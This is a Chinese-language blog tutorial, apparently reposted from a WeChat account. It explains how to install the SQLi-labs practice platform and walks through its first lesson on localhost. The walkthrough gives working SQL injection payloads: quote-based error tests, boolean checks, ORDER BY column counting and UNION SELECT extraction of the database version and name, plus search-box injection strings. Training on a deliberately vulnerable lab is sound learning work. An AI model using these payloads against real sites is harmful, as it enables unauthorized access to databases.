前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL演练平台下载搭建

SQL演练平台下载搭建

作者头像
天钧
发布2019-07-25 10:30:37
4020
发布2019-07-25 10:30:37
举报
文章被收录于专栏:渗透云笔记渗透云笔记

SQL演练平台下载搭建

平台名称;SQLli-labs

平台介绍;一个印度印度程序员的杰作

相关教程;后台回复;注入平台

下载地址;https://github.com/Audi-1/sqli-labs

使用环境;PHPstudy sql的版本调到5.5

搭建教程;打开 sql-connections/db-creds.inc 文件

将数据库的username和password修改为你自己的mysql账号和密码

然后再访问127.0.0.1的页面,点击链接Setup/reset Database for labs创建数据库

代码语言:javascript
复制
 <?php
 
 //give your mysql connection username n password
 $dbuser ='root';
 $dbpass ='root';
 $dbname ="security";
 $host = 'localhost';
 $dbname1 = "challenges";
 
 ?>

LESS-1

判断是否存在注入

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1'

出现错误提示;有点废话了.......

使用经典方法进行判断 字符型注入或者数字型注入

数字型注入;and 1=1;and 1=2

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=1

返回页面正常

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=2

返回页面正常,原理在上文讲过,判断不是数字型注入尝试用字符型注入尝试

字符型注入;'and '1'='1

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='1

返回正常

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='2

返回错误。字符型注入

看一下背后的源码

代码语言:javascript
复制
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

源码解读

limit是mysql的语法

代码语言:javascript
复制
 select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录n是指从第m+1条开始,取n条。

代码语言:javascript
复制
 SELECT * FROM users WHERE id='$id' LIMIT 0,1

即取出第1条至第2条,2条记录

运用昨天的order by 得出

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 'order by 3 --+

我们通过使用order by的语句来判断select所查询字段的数目为3

构造语句

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2  union select 1,2,3 --+

返回

代码语言:javascript
复制
 Welcome    Dhakkan
 Your Login name:2
 Your Password:3

页面显示第三位与第二位的信息

输入昨天的命令,查询数据库版本

代码语言:javascript
复制
 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2  union select 1,version(),database() --+

返回

代码语言:javascript
复制
 Welcome    Dhakkan
 Your Login name:5.5.53
 Your Password:security

搜索框注入判断预习

代码语言:javascript
复制
 %'and 1=1 and '%' = '%
 %'and 1=1 and '%'='%
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档